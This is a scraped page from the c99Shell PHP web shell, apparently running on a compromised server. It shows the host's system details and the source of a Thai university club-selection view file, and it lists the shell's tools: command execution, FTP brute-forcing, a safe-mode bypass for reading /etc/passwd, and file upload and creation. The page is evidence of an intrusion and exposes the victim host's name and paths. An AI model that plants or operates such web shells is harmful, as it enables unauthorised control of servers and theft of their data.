!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_choose_club.php (2.67 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<b>ชมรมที่สามารถเลือกได้    ภาคการศึกษาที่</b>  <?php echo $this->session->userdata('tmId'); ?> <b>ปีการศึกษา</b> <?php echo $this->session->userdata('acY'); ?>
<table class="tb_1" width="80%" border="1">
    <tr align="center" >
        <th width="5%" >ลำดับที่</th>
        <th width="30%" >ชื่อชมรม</th>
        <th width="15%" >จำนวนเต็ม</th>
        <th width="20%" >เหลือ</th>
        <th width="5%" >เลือก</th>
    </tr>
<?php 
if ($rs_club->num_rows() > 0) {
    
$index=1;
    foreach (
$rs_club->result() as $row) {
?>
    <tr >
        <td align="center"><?php echo $index;?></td>
        <td align="left"><?php echo $row->sc_name;?></td>
        <td align="center"><?php echo $row->sc_max_member;?></td>
        <td align="center"><?php echo $row->num;?></td>
        <td align="center">
<?php
        
if ($row->std == '') {
            if (
$row->num_c >= $row->cf_member_club) {
                echo 
'<font color="#336600">เลือกครบตามจำนวนแล้ว</font>';
            } else {
                if (
$row->num == 0) {
                    echo 
'<font color="#ff0000">เต็มแล้ว</font>';
                } else {
?>
                    <span class="hand" onClick="if (confirm('ต้องการเลือกชมรมนี้ใช่หรือไม่')) { sendPost('hidform', {'mb_cl_id':<?php echo $row->sc_id;?>}, 'add_mb_club'); }"><font color='#6600ff'>[เลือก]</font></span>
<?php            }
            }
        } else {
            echo 
'<font color="#336600">เป็นสมาชิก</font>';
        }
?>
        </td>
    </tr>
<?php 
        $index
++;
    }
} else {
?>
        <tr class='notfound'>
            <td colspan="7" align="center"><?php echo $this->config->item('sa_not_found');?></td>
        </tr>
<?php 
}
?>
</table>
<br><br>
<b>ประวัติการเข้าร่วมชมรม</b>
<table class="tb_1" width="80%" border="1">
    <tr align="center" >
        <th width="5%" >ลำดับที่</th>
        <th width="30%" >ชื่อชมรม</th>
        <th width="15%" >ภาค / ปีการศึกษา</th>
    </tr>
<?php 
if ($rs_mm->num_rows() > 0) {
    
$index=1;
    foreach (
$rs_mm->result() as $row_mm) {
?>
    <tr >
        <td align="center"><?php echo $index;?></td>
        <td align="left"><?php echo $row_mm->sc_name;?></td>
        <td align="center"><?php echo $row_mm->mb_tmId.' / '.$row_mm->mb_year;?></td>
    </tr>
<?php 
        $index
++;
    }
} else {
?>
        <tr class='notfound'>
            <td colspan="7" align="center"><?php echo $this->config->item('sa_not_found');?></td>
        </tr>
<?php 
}
?>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--